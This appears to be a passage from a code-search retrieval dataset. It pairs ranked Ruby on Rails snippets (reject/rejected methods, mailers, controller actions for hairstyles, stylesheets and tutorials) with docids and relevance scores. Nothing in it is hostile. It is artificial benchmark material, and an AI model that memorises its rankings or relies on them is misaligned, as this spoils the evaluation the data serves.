Shoppe::OrderMailer.rejected(self).deliver\n end\n end\n end", "title": "" }, { "docid": "857385364960b166a87b75ac51f71463", "score": "0.66840136", "text": "def reject!\n self.update_attribute('rejected_on', Time.now)\n end", "title": "" }, { "docid": "5105d71cf84e62fea4dbd39c8cd55faa", "score": "0.66770446", "text": "def reject() settle REJECTED; end", "title": "" }, { "docid": "5105d71cf84e62fea4dbd39c8cd55faa", "score": "0.66770446", "text": "def reject() settle REJECTED; end", "title": "" }, { "docid": "673d7c569338b4b50a163b57e6cf6e34", "score": "0.6603037", "text": "def reject!\n self.update_attribute(:state, 'rejected')\n end", "title": "" }, { "docid": "6cbb16a55b8a4bc8d0bb8a5b08c9fc37", "score": "0.6599028", "text": "def mark_as_rejected!\n self.update_attribute(:rejected_at, Time.zone.now)\n self.update_attribute(:active, false) \n end", "title": "" }, { "docid": "c0c5f03376d3024744dc2ac5262de182", "score": "0.656792", "text": "def reject(*)\n super.tap do\n __debug_sim('USER must make change(s) to complete the submission.')\n end\n end", "title": "" }, { "docid": "08bec2d77561f116dc5251dbfd6ffd57", "score": "0.6517308", "text": "def reject\n self.update_attribute(:state, REJECTED)\n end", "title": "" }, { "docid": "0e8d538dc831bd79f15e08f76d160760", "score": "0.6415296", "text": "def rejected?\n @rejected ? true : false\n end", "title": "" }, { "docid": "af21f3ee68d757f47bc76ddef82a0728", "score": "0.6406367", "text": "def rejected?; end", "title": "" }, { "docid": "af21f3ee68d757f47bc76ddef82a0728", "score": "0.6406367", "text": "def rejected?; end", "title": "" }, { "docid": "af21f3ee68d757f47bc76ddef82a0728", "score": "0.6406367", "text": "def rejected?; end", "title": "" }, { "docid": "af21f3ee68d757f47bc76ddef82a0728", "score": "0.6406367", "text": "def rejected?; end", "title": "" }, { "docid": "af21f3ee68d757f47bc76ddef82a0728", "score": "0.6406367", "text": "def rejected?; end", "title": "" }, { "docid": "af21f3ee68d757f47bc76ddef82a0728", "score": "0.6406367", "text": "def rejected?; end", "title": "" }, { "docid": "c528c80ba56023522fff6e4d403812c1", "score": "0.6341502", "text": "def set_rejectedorder\n @rejectedorder = Rejectedorder.find(params[:id])\n end", "title": "" }, { "docid": "de5b8526124fde581285402ecd54c5c6", "score": "0.63276947", "text": "def reject!(reason)\n return true if self.accepted? || self.rejected?\n self.rejected_because = reason\n self.cancel!(:rejected)\n end", "title": "" }, { "docid": "8637cd2df672bdbef5d5358721251dd0", "score": "0.6312616", "text": "def rejected?\n self.state == REJECTED\n end", "title": "" }, { "docid": "ea0244810393506000061cfd05310318", "score": "0.6295397", "text": "def send_request_for_confirming_reject\n self.status = MARK_REJECTED\n self.save!\n \n reject_requesting_user = User.find_by_id(self.locked_with)\n self.deliver_notifications(:confirm_reject, [reject_requesting_user])\n end", "title": "" }, { "docid": "ea0244810393506000061cfd05310318", "score": "0.6295397", "text": "def send_request_for_confirming_reject\n self.status = MARK_REJECTED\n self.save!\n \n reject_requesting_user = User.find_by_id(self.locked_with)\n self.deliver_notifications(:confirm_reject, [reject_requesting_user])\n end", "title": "" }, { "docid": "1f6bc49c28c730fbaac95c1588eb7776", "score": "0.62843233", "text": "def rejected?\n state == REJECTED\n end", "title": "" }, { "docid": "7d163c62c5e034d925133f52e52745c2", "score": "0.6239691", "text": "def rejected?() return(@state == :rejected); end", "title": "" }, { "docid": "a96c7e25ed5dcf1f42cb8849cd39c0fa", "score": "0.6182802", "text": "def reject!\n self.status = 'Rejected'\n self.save\n GameInviteResponseEvent.new(self).enqueue\n end", "title": "" }, { "docid": "419df6cb6ba17bab6a7123ff5e9c7724", "score": "0.617473", "text": "def reject\n General::ChangeStatusService.new(self, StatusLancer::REJECTED).change\n if self.save\n MemberMailerWorker.perform_async(recruitment_id: self.id.to_s, perform: :send_recruitment_rejection)\n return true\n end\n return false\n end", "title": "" }, { "docid": "5a380dc20c16e032359ae09fd9c02e3f", "score": "0.6164453", "text": "def reject_items!\n self.items.each do |i|\n i.update_attribute(:rejected_at, Time.zone.now)\n self.create_listing_from_item(i)\n end\n end", "title": "" }, { "docid": "dbfbf57b226280d0dc24a8c7f5d0c2fa", "score": "0.6152577", "text": "def reject\n transition_to :rejected, to_state: 'rejected'\n end", "title": "" }, { "docid": "3fa923b78eedd4021cfa6d70cd25ec5c", "score": "0.6141642", "text": "def reject!\n MTurkUtils.reject self.task\n end", "title": "" }, { "docid": "5d8ec3960a610be8cf4f7a954971ea23", "score": "0.61279577", "text": "def rejected?\n !self.rejected_on.nil?\n end", "title": "" }, { "docid": "0386a67207c423499a6f33862aae13c9", "score": "0.6106178", "text": "def compliance_rejected\n self.compliance_id = nil\n self.status = \"pending_vendor_input\"\n self.purchaseorder.status = \"pending_vendor_input\"\n self.save\n end", "title": "" }, { "docid": "5c075683f45b10eabf71ddc79fbfe45a", "score": "0.61038834", "text": "def reject_or_pass!\n Relationship.transaction do\n if self.pending?\n self.status = REJECTED\n self.rejected_at = Time.now\n elsif self.approved?\n self.status = REMOVED\n self.removed_at = Time.now\n elsif self.suggested?\n self.status = PASSED\n self.rejected_at = Time.now\n end\n inv = self.inverse_relationship\n inv = nil if inv.present? && (inv.rejected? || inv.passed? || inv.removed?)\n unless inv.blank?\n inv.status = self.status\n inv.removed_at = self.removed_at\n inv.rejected_at = self.rejected_at\n inv.save\n end\n self.save\n # Clear out notifications for this relationship\n self.notifications.each{|n| n.mark_as_read }\n # Reset relationship cache for both startups involved\n self.reset_cache_for_entities_involved\n end\n true\n end", "title": "" }, { "docid": "d5566abf163d252357fbb6f754c6bb93", "score": "0.60904145", "text": "def reject\n @request = BookingRequest.find(params[:id])\n @request.update(rejected: true)\n @request.crew.update(requested: false)\n recipients = @request.crew.users\n BookingMailer.booking_rejected_email(recipients, @request).deliver_now\n flash[:success] = \"Rejected\"\n redirect_to bookingrequests_path\n end", "title": "" }, { "docid": "37e319563260cb8632ec811b0f5bb6d7", "score": "0.60777307", "text": "def rejected?\n self.approved == false\n end", "title": "" }, { "docid": "5a28a95059492368f672038a25e3ab11", "score": "0.6055013", "text": "def disapprove\n self.approved = false\n self.save(:validate => false)\n \n Notifier.disapprove(self).deliver\n end", "title": "" }, { "docid": "0402a83f51873eeefe0e0b1940c20e71", "score": "0.60506535", "text": "def prohibit\n self[:violations] = MaxFailedMsgsPerPeriod+1\n modify\n end", "title": "" }, { "docid": "bef9a3398cd957a112c61a6d0da45c86", "score": "0.60494995", "text": "def reject\n payment = Payment.find_by_token params[:token]\n payment.rejected_at = Time.now\n\n # send mail\n order = payment.order.to_struct\n buyer_mail = order.shippingAddress.email\n buyer_name = order.shippingAddress.firstName\n mail = UserMailer.not_paid(buyer_mail, buyer_name)\n mail.deliver\n\n payment.save\n\n # update order in sphere.io\n client_id = payment.shop.sphere_client_id\n client_secret = payment.shop.sphere_client_secret\n sphere_login_token = Sphere.login(client_id, client_secret, payment.shop.project_key)\n Sphere.update_payment_state(sphere_login_token, payment.shop.project_key, payment.sphere_order_id, 'Failed')\n end", "title": "" }, { "docid": "a8b876be146599f27c93a75441ddd2d3", "score": "0.6044663", "text": "def rejected?\n state == \"rejected\"\n end", "title": "" }, { "docid": "fd9bbe8ddde62847b6feb39350129a08", "score": "0.6042911", "text": "def reject\n end", "title": "" }, { "docid": "db98a03a74b6cb8a0e3009c3e5a1b33c", "score": "0.6036498", "text": "def mail_rejected\n Notifier.influencer_rejected(self).deliver\n end", "title": "" }, { "docid": "0ee96305e622f7d31ba3565eaa57d125", "score": "0.60314775", "text": "def reject\n @syndicate = Syndicate.find(params[:id])\n @syndicate.status = \"rejected\"\n @syndicate.save\n redirect_to syndicates_url\n SyndicateRejectedMailer.syndicate_rejected_email(@syndicate).deliver\n end", "title": "" }, { "docid": "9e90df35d15f54d02ae3e9268b701aaa", "score": "0.6025261", "text": "def on_rejected_entry(state, event, *event_args)\n super\n\n __debug_sim('System notifies user of rejection.')\n __debug_sim('USER must `edit!` or `cancel!` to advance...')\n\n self\n end", "title": "" }, { "docid": "681afa0bd99820d0c73478b9cbd80788", "score": "0.60245574", "text": "def is_rejected?\n self.state == 'rejected'\n end", "title": "" }, { "docid": "21da8fb2149863acf0ea8911d0c1f71b", "score": "0.60011756", "text": "def before_reject(approval); end", "title": "" }, { "docid": "568f02f73d6aa2cf9a31e2d44138856a", "score": "0.5989175", "text": "def mark_as_errored!\n self.update_attribute(:status, ERRORED)\n self.stock_entries.update_all(status: StockEntry::PENDING)\n true\n end", "title": "" }, { "docid": "ecb17bb917ab936d82b3188763800fcc", "score": "0.59826654", "text": "def rejected\n if @purchase_order != nil\n @purchase_order.update_properties_async\n return render :json => { :success => true }\n else\n return render :json => { :success => false, :error => 'PurchaseOrder not found' }, status: :not_found\n end\n end", "title": "" }, { "docid": "869ae75cb6a7edb2586b2b993ec38acc", "score": "0.5979381", "text": "def reject!(*)\n @lock.synchronize { super }\n end", "title": "" }, { "docid": "dd9975ca7ae22ca70a1468fa7bac0f90", "score": "0.59688437", "text": "def cancel\n res = remove('cancel')\n raise WavesRubyClient::OrderAlreadyFilled if res['message']&.match?(/Order is already Filled/)\n raise res.to_s unless res['status'] == 'OrderCanceled'\n end", "title": "" }, { "docid": "07fef94bcefd5b4708d33c63fe90af55", "score": "0.59515285", "text": "def rejected?\n self.status == Bid.rejected\n end", "title": "" }, { "docid": "c269ebd4811eeb5d8dc311bc32a26a6b", "score": "0.5939082", "text": "def mark_pending!(example, message_or_bool); end", "title": "" }, { "docid": "b766b279125c16fbf22758c5157c912d", "score": "0.5914975", "text": "def state_rejection\n update_state_date\n email_state_notification(:rejected)\n end", "title": "" }, { "docid": "27d7501d2e155ed62e638f7eabd5ec91", "score": "0.59138894", "text": "def rejected?\n assignment_status_match?('Rejected')\n end", "title": "" }, { "docid": "f97d3b795e84bdf1f8ab68740d725034", "score": "0.58771676", "text": "def do_reject_places\r\n places = 0\r\n #MES- Iterate through the places\r\n iterate_posted_places do | place |\r\n #MES- Reject each one. Right now, this just means changing their\r\n # status such that the request to be public is turned off. NOT TOO COOL.\r\n place.public_status = Place::PUBLIC_STATUS_NOT_REQUESTED\r\n place.save\r\n places += 1\r\n end\r\n flash[:notice] = \"#{places} places rejected\"\r\n redirect_to :action => 'approve_places'\r\n end", "title": "" }, { "docid": "cb4c49fcf8b011d1f651cdda8e250901", "score": "0.5873265", "text": "def break_if_rejected(result)\n unless result.success?\n @result = result\n throw :bt_rejection\n end\n end", "title": "" }, { "docid": "562b11441f05e888600ac5443133a0a9", "score": "0.5810187", "text": "def request_rejected\n BorrowNotifier.request_rejected\n end", "title": "" }, { "docid": "8c08f8ab7ba503a2b89e8dd9fb274fe5", "score": "0.58052456", "text": "def reject(*args)\n @reject_list.fire(*args)\n self\n end", "title": "" }, { "docid": "a84c58fb6765a42249b62d05cff5cade", "score": "0.5799683", "text": "def set_declined\n self.accept = false\n self.save\n end", "title": "" }, { "docid": "ef4af2f93207f30f28856775732b8f5c", "score": "0.57814413", "text": "def reject; end", "title": "" }, { "docid": "656b313d9b4324e1954e57a078e76ad8", "score": "0.57811534", "text": "def mark_as_reached_limit_email_not_sent\n self.update_attributes(:reached_limit_email_sent => false)\n end", "title": "" }, { "docid": "14cef521469e44fdf5880c89f63f7815", "score": "0.57669586", "text": "def mark_failed_to_be_ignored(failed_log)\n update_attributes!(\n status: self.class.ignored_status ,\n failed_count: failed_count + 1,\n lock_identifier: nil,\n locked_at: nil,\n failed_response: failed_log\n )\n end", "title": "" }, { "docid": "3791488a846a27d5a7797387fb3c381a", "score": "0.57648736", "text": "def reject_not_allowed\n # do nothing\n end", "title": "" }, { "docid": "94415586064accb23706e5992f0d2e00", "score": "0.57532173", "text": "def reject\n user_specified_options[:reject]\n end", "title": "" }, { "docid": "e99b0b2268a26570eee75cb0c8a4a5df", "score": "0.5746564", "text": "def on_rejected(event)\n end", "title": "" }, { "docid": "f0e42239f92c4c7e1bab3e8a08a4db54", "score": "0.57458377", "text": "def reject\n\t\to = SortOrder.new\n\t\tordering.each do |r|\n\t\t\tc = r.first.first\n\t\t\td = r.first.last\n\t\t\to.push( c, d ) unless yield( c, d )\n\t\tend\n\t\to\n\tend", "title": "" }, { "docid": "537f364d4c4f02031f7bb1835355f007", "score": "0.57422316", "text": "def reject_transfer\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end", "title": "" }, { "docid": "537f364d4c4f02031f7bb1835355f007", "score": "0.57422316", "text": "def reject_transfer\n self.status = \"rejected\"\n \"Transaction rejected. Please check your account balance.\"\n end", "title": "" }, { "docid": "ae85db810e056145e87d0af0c1e5dda1", "score": "0.5735862", "text": "def reject!(user_id=nil)\n if self.rejected_at.nil?\n self.deactivate_approvable\n self.update_attributes(rejected_at: Time.now, approved_at: nil, user_id: user_id)\n end\n self\n end", "title": "" }, { "docid": "d51be974889f07747fe505011458dc2f", "score": "0.57261443", "text": "def reject!\n return unless pending? || available?\n begin\n # based on the campaign_type returns the budget back to the account\n ActiveRecord::Base.transaction do\n if payment_type == \"coin\"\n owner.coin_credit += budget\n else\n owner.like_credit += budget\n end\n rejected!\n owner.save!\n end\n rescue => e\n Rails.logger.error e\n end\n end", "title": "" }, { "docid": "069af7257fabb8f9a2bcb8e77b74bd69", "score": "0.57208157", "text": "def rejected?\n !self.rejected_at.nil?\n end", "title": "" }, { "docid": "c508811e1d1880ce2dc64063d32533e0", "score": "0.57093644", "text": "def reject task\n return unless task.mturk_hit\n reject_remaining_assignments task\n\n if task.task_response and task.task_response.approved.nil?\n task.task_response.approved = false\n task.task_response.save!\n end\n end", "title": "" }, { "docid": "e575742e9c7bf10d31db8dfe73dbfb25", "score": "0.57030463", "text": "def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end", "title": "" }, { "docid": "e575742e9c7bf10d31db8dfe73dbfb25", "score": "0.57030463", "text": "def reject_user\n # set the enabled flag to false for the user\n # clear activation code (prevents user from showing up as pending user)\n # send out rejection notification\n end", "title": "" }, { "docid": "53b23cc578f4620b19969986d5b081d1", "score": "0.56835675", "text": "def has_to_be_rejected?\n self.amount.blank?\n end", "title": "" }, { "docid": "92fb22a502b14b1d3dd76ed44e6681ab", "score": "0.56805265", "text": "def rejected?\n answered? && state == \"rejected\"\n end", "title": "" }, { "docid": "a02e156d0effca7f912ad5d91ce02275", "score": "0.56586474", "text": "def reject(message_id)\n end", "title": "" }, { "docid": "ec87a8fdc0be09a81d3ea21c718ebe46", "score": "0.56548506", "text": "def rejected\n self._rejected_callback = proc do |json|\n yield(json)\n end\n end", "title": "" }, { "docid": "56a4f1fc7c05dce14dfca86f30bfd06c", "score": "0.5648577", "text": "def update_status_after_moderation\n if order_items.customized.detect { |item| item.approved == false }\n Core.log(\"=== SETTING ORDER STATUS TO REJECTED: #{id}\")\n set_status('Asset(s) Rejected')\n OrderStatus.create(:order_id => id, :status => 'Asset(s) Rejected')\n elsif !order_items.customized.detect { |item| item.approved.nil? }\n if self.order_items.detect{|i| i.orderable_type == \"NonCustomizableProduct\"} && self.order_items.select{|i| i.orderable_type == \"NonCustomizableProduct\"}.length == self.order_items.length\n Core.log(\"=== SETTING ORDER STATUS TO READY TO SHIP: #{id}\")\n self.set_status('Ready to Ship') \n else\n Core.log(\"=== SETTING ORDER STATUS TO ASSETS APPROVED: #{id}\")\n self.set_status('Asset(s) Approved')\n OrderStatus.create(:order_id => self.id, :status => 'Asset(s) Approved')\n end\n end\n end", "title": "" }, { "docid": "1f4ddb45abc346772d2139f5162ca078", "score": "0.56461096", "text": "def order_reject_mail(email, menu_id, order_id)\n @menu = Menu.find(menu_id)\n @order = Order.find(order_id)\n mail(to: email, subject: 'Unfortunately the chef is already busy', template_name: 'order_reject_mail')\n end", "title": "" }, { "docid": "e0b2af578e50bfa3c7fe68f3d3a759ff", "score": "0.56459886", "text": "def reject_physical_objects\n self.physical_objects.where(digital_workflow_category: 'not_started').each do |po|\n po.update_attribute(:digital_workflow_category, 'rejected')\n end\n end", "title": "" }, { "docid": "964adf6f0390e1db3e1aaf8cea46302b", "score": "0.5644379", "text": "def reject!(message, cause)\n log 'message rejected:', message\n\n raise cause if DEBUG\n\n message[:rejected] = true\n\n return false\n end", "title": "" }, { "docid": "ddfeb51328beef9597c3158af44b882f", "score": "0.5624836", "text": "def rejected?\n self.from_status==REJECTED or self.to_status==REJECTED\n end", "title": "" }, { "docid": "953e3cd0aa186e8f7179188c56b73460", "score": "0.5620117", "text": "def set_to_unapproved\n self.update_attribute('approved', false)\n notify_empty_contractors\n end", "title": "" }, { "docid": "b7ff43c447656942d54b50672defcf29", "score": "0.5619105", "text": "def validate_order_approval\n units_beings_prepared = self.has_units_being_prepared\n if not units_beings_prepared.empty?\n errors[:order_status] << \"cannot be set to approved because units #{units_beings_prepared.map(&:id).join(', ')} are neither approved nor canceled\"\n end\n end", "title": "" }, { "docid": "6015104afd3a293665ff464d49dad124", "score": "0.56181526", "text": "def after_reject(approval); end", "title": "" }, { "docid": "dd304765a46e1c8d18904f636f8199d2", "score": "0.56083184", "text": "def on_rejected_entry(new_state, event)\n self.proposal.reject!\n end", "title": "" }, { "docid": "53a3388612ca8735e6b233d44fce21e1", "score": "0.5586952", "text": "def offer_rejected(offer)\n @quest, @offer = offer.quest, offer\n \n mail(:to => email(@offer.owner),\n :subject => subject(I18n.t(\"mail.offer_rejected.subject\")))\n end", "title": "" }, { "docid": "3200552f6c1875b8fff28df0bd5f2234", "score": "0.5579636", "text": "def reject(n_passeggeri)\n self.transaction do\n self.route.decrement!(:n_passeggeri, n_passeggeri)\n self.update!(accepted: false)\n end\n end", "title": "" }, { "docid": "478ac3d305d9ec76900f6a10ccba7906", "score": "0.55789506", "text": "def reject\n reject_item(@item)\n RefreshOpensearchJob.perform_later\n toast!(title: \"Item rejected\",\n message: \"This item has been rejected.\")\n redirect_back fallback_location: item_path(@item)\n end", "title": "" }, { "docid": "d0f10f7a9f5af58a6ac621d468c32dc1", "score": "0.5578819", "text": "def mail_rejected_by_advertiser\n Notifier.tweet_rejected_by_advertiser(self).deliver\n end", "title": "" }, { "docid": "ad6e57411af4ff0f989b6bd8e9c5037e", "score": "0.5576827", "text": "def rejected?\n @future.rejected?\n end", "title": "" }, { "docid": "a86973236f83f06929a19fb87d1b76c7", "score": "0.55746704", "text": "def seller_dispute_order_cancelled\n\t\t\tSellerMailer.seller_dispute_order_cancelled(@order.product.seller).deliver_now\n\t\tend", "title": "" }, { "docid": "3e99ebdf80ced14957acdb961c2246fd", "score": "0.5572364", "text": "def request_rejected?\n cause == 'REQUEST_REJECTED'\n end", "title": "" }, { "docid": "032f7bdbbd106d15d1f3b7d40111ca15", "score": "0.556412", "text": "def reject! &block\n modify_ack_deadline! 0, &block\n end", "title": "" }, { "docid": "bed9f5655db353f598f9ad8e629085d1", "score": "0.5563717", "text": "def cancel_order!\n self.locked = nil\n do_receive(false) #don't change prices\n self.save!\n end", "title": "" }, { "docid": "ba096ec7dce8951d2fab9e3b2182b80c", "score": "0.5563078", "text": "def mark_as_canceled!\n self.active = 0\n self.no_show = 0\n self.arrived = 0\n self.save!\n end", "title": "" }, { "docid": "53cfe78807d22d31db055a2608196bec", "score": "0.5554102", "text": "def reject\n InterviewMailer.reject\n end", "title": "" }, { "docid": "f8b5869c8e4d2816ea8391d921bdf25c", "score": "0.5542883", "text": "def reject\n NotificationMailer.reject\n end", "title": "" }, { "docid": "330e89b8f96c8ca88f90ac732ec35bda", "score": "0.55387425", "text": "def rejected_questions\n @author = User.find_by_id(current_user.role).email\n @rejected_questions = Question.where(\"author = ? AND workflow_state = 'rejected'\",current_user.email)\n end", "title": "" }, { "docid": "7bfa482230ccb0a74a3d00bcca9bc7bd", "score": "0.55369806", "text": "def setPendingBadConsequence (b)\n @pendingBadConsequence = b\n end", "title": "" } ]
a134246016d4070b794ab43f48e340e0
GET /hairstyles or /hairstyles.json
[ { "docid": "500017856099a71cd59253eb043ef5d9", "score": "0.7320118", "text": "def index\n @hairstyles = Hairstyle.all\n end", "title": "" } ]
[ { "docid": "86e4bc8c8f937dc888d5f5d77f3a362c", "score": "0.7182205", "text": "def show\n @hairstyle = Hairstyle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hairstyle }\n end\n end", "title": "" }, { "docid": "2d780abc444ca32b8edc169f4d63cc40", "score": "0.62869996", "text": "def index\n @style_sheets = @site.style_sheets.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @style_sheets }\n end\n end", "title": "" }, { "docid": "a47cbae9177806f9bf8b7517fb83333d", "score": "0.6135366", "text": "def set_hairstyle\n @hairstyle = Hairstyle.find(params[:id])\n end", "title": "" }, { "docid": "bb2267ce6de59a1f1585d2d8cf611096", "score": "0.6026364", "text": "def set_hairstyle\n @hairstyle = Hairstyle.find(params[:id])\n end", "title": "" }, { "docid": "86d42346b32efa5ece3824f0b66a2234", "score": "0.59330606", "text": "def create\n @hairstyle = Hairstyle.new(params[:hairstyle])\n\n respond_to do |format|\n if @hairstyle.save\n format.html { redirect_to @hairstyle, notice: 'Hairstyle was successfully created.' }\n format.json { render json: @hairstyle, status: :created, location: @hairstyle }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hairstyle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7bf95c22c9436cf9385212f7a390e5c1", "score": "0.58987236", "text": "def index\n @themes = Theme.all\n json_response(@themes)\n end", "title": "" }, { "docid": "c83be145b31c2a6d10703167b93e56ce", "score": "0.58501154", "text": "def show\n @whylearn = Whylearn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @whylearn }\n end\n end", "title": "" }, { "docid": "da95b8f325a5d19ed52712106b2163ab", "score": "0.57911617", "text": "def styles\n respond_to do |format|\n format.json{ render :json => helpers.get_style(params[:style_id], :json) }\n end\n end", "title": "" }, { "docid": "fef02c94a7aa71f714066705fb0b7e0e", "score": "0.57704216", "text": "def index\n @stylists = Stylist.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stylists }\n end\n end", "title": "" }, { "docid": "a7f4e1b747173f4f98f5eca0feb28fe6", "score": "0.56747633", "text": "def index\n @hikiyamas = @omatsuri.hikiyamas\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @hikiyamas }\n format.json { render :json => @hikiyamas }\n end\n end", "title": "" }, { "docid": "20fe2d375ccec92c844b791e06aba4bb", "score": "0.56597537", "text": "def update\n respond_to do |format|\n if @hairstyle.update(hairstyle_params)\n format.html { redirect_to @hairstyle, notice: \"Hairstyle was successfully updated.\" }\n format.json { render :show, status: :ok, location: @hairstyle }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @hairstyle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e7dd7bf70f2e8648420756553e2cd3a8", "score": "0.5656409", "text": "def index\n @yarns = Yarn.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @yarns }\n end\n end", "title": "" }, { "docid": "fa8861bc8debdcc12a4f01c0ac1ffcc3", "score": "0.5629036", "text": "def show\n @story = Story.is_approved.public.find(params[:id])\n\n @css.push('stories.css')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end", "title": "" }, { "docid": "7dcdfca515c63e0dbc4f7f0a11421461", "score": "0.5623666", "text": "def index\n @facebook_user_stories = GameRules::Rules.the_rules.facebook_user_stories\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @facebook_user_stories }\n end\n end", "title": "" }, { "docid": "9682da20d984946beba340077c8c5294", "score": "0.5605304", "text": "def index\n @stylists = Stylist.all\n end", "title": "" }, { "docid": "18a6ae453b26bc116c93a71bf5ba2b4a", "score": "0.5583211", "text": "def index\n @learning_styles = LearningStyle.all\n end", "title": "" }, { "docid": "3ad6a5770f00879ce356dcc78673513d", "score": "0.5575425", "text": "def index\n @lophs = Loph.all\n respond_to do |format|\n format.html\n format.json { render json: @lophs}\n end\n end", "title": "" }, { "docid": "69501cf3f166f5cf892f563fed6578c8", "score": "0.5557735", "text": "def index\n @rails_hamls = RailsHaml.all\n end", "title": "" }, { "docid": "f4ce554ce982336458c90cc11aa77c42", "score": "0.5546154", "text": "def get_styles &block\n response = self.search :styles => nil\n doc = Nokogiri::XML(response)\n styles = doc.xpath(Style.root_xpath).collect{|l| l.text.to_s }\n list Style, styles, {}, &block\n end", "title": "" }, { "docid": "1c023b92436aba459134eaf1a5d9ba25", "score": "0.5514739", "text": "def show\n @stylist = Stylist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @stylist }\n end\n end", "title": "" }, { "docid": "98e2a73096a7fdc0a6ba2d544635401f", "score": "0.5508843", "text": "def stylesheet hash = 'home'\n hash = {:id => hash} if hash.is_a? String\n hash.update :action => 'stylesheet', :format => 'css', :trailing_slash => false\n home(hash)\n end", "title": "" }, { "docid": "c72514f6efc8a807112d76760eb53ddc", "score": "0.5504942", "text": "def show\n @style_sheet = @site.style_sheets.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @style_sheet }\n end\n end", "title": "" }, { "docid": "c48eeca151dda458e7909ad8379efea2", "score": "0.5481993", "text": "def update\n @hairstyle = Hairstyle.find(params[:id])\n\n respond_to do |format|\n if @hairstyle.update_attributes(params[:hairstyle])\n format.html { redirect_to @hairstyle, notice: 'Hairstyle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hairstyle.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cba2f1d1ede3660339ec5a45ef6a5279", "score": "0.5473272", "text": "def index\n @lessons = Lesson.all\n\n render 'index.json'\n end", "title": "" }, { "docid": "3acf07c52f2423f5c6cb33e5b43ef41b", "score": "0.54664177", "text": "def index\n @japan_styles = JapanStyle.order('created_at DESC').all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @japan_styles }\n end\n end", "title": "" }, { "docid": "017e3b79f2631152412d6e8f2f88c2b9", "score": "0.54302263", "text": "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tutorials }\n end\n end", "title": "" }, { "docid": "eb9c8ba430a7e05b1283171acd5cd990", "score": "0.5426175", "text": "def index\n @content_title = 'Beverage Styles'\n @secondary_title = 'Major Style Categories'\n @styles = Style.major_styles\n @tags = Page.tags(:limit => 25, :order => \"name DESC\",\n :owner_type => 'Style')\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @styles.to_xml }\n end\n end", "title": "" }, { "docid": "371c4e878dfe5786be2f40b36fa13122", "score": "0.54166996", "text": "def get_theme\n respond theme, 200, {'Content-Type' => 'text/plain'}\n end", "title": "" }, { "docid": "1dc071cf255257f68293a5c2cedb21a7", "score": "0.5401547", "text": "def index\n @slams = Slam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slams }\n end\n end", "title": "" }, { "docid": "c4b28ca6461daf84232a005b3d23384e", "score": "0.5399169", "text": "def index\n @highlights = @celebration.highlights\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: [@celebration,@highlights] }\n end\n end", "title": "" }, { "docid": "24401e8995bcc317305bca9c78ef2b1e", "score": "0.53918123", "text": "def index\n @tutorials = Tutorial.all\n\n respond_to do |format|\n format.html\n format.json do\n render json: @tutorials\n end\n end\nend", "title": "" }, { "docid": "e97ddd7c7f947dddd994748f319af1cf", "score": "0.5369841", "text": "def index\n @lienthemes = Lientheme.all\n end", "title": "" }, { "docid": "26dbe4fa43cb09661e9d14f004cf88b9", "score": "0.53655535", "text": "def index\n @words = Word.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @words }\n end\n end", "title": "" }, { "docid": "7290cc20ca26148c6bdf9bac3474c304", "score": "0.5362631", "text": "def index\n @glasses = Glass.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @glasses }\n end\n end", "title": "" }, { "docid": "77ffe28621aa598359bf4e41536079ef", "score": "0.53588724", "text": "def index\n @headlines = Headline.all\n end", "title": "" }, { "docid": "77ffe28621aa598359bf4e41536079ef", "score": "0.53588724", "text": "def index\n @headlines = Headline.all\n end", "title": "" }, { "docid": "fdce0690b6f07b4e910d87db4136dbb4", "score": "0.53398275", "text": "def destroy\n @hairstyle = Hairstyle.find(params[:id])\n @hairstyle.destroy\n\n respond_to do |format|\n format.html { redirect_to hairstyles_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c91e501b19318bcce4b6a422824abf1d", "score": "0.5336307", "text": "def index\n @losts = Lost.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @losts }\n end\n end", "title": "" }, { "docid": "aac5d9128d153d8e74ee8e68149f9744", "score": "0.533146", "text": "def index\n @himalayas = Himalaya.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @himalayas }\n end\n end", "title": "" }, { "docid": "a31d32d3fe0bfccf150783abf9b154be", "score": "0.5302368", "text": "def show\n @stylesheet = Stylesheet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stylesheet }\n end\n end", "title": "" }, { "docid": "3b6b22970b04910f87ee7383359226e7", "score": "0.5291477", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dish_style }\n end\n end", "title": "" }, { "docid": "3e5c65cf21c383f4ba3c25e93a00d6d1", "score": "0.5291126", "text": "def index\n @alleys = Alley.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @alleys }\n end\n end", "title": "" }, { "docid": "a0f061cff4d36060043fdfefbce8fa0c", "score": "0.52868915", "text": "def 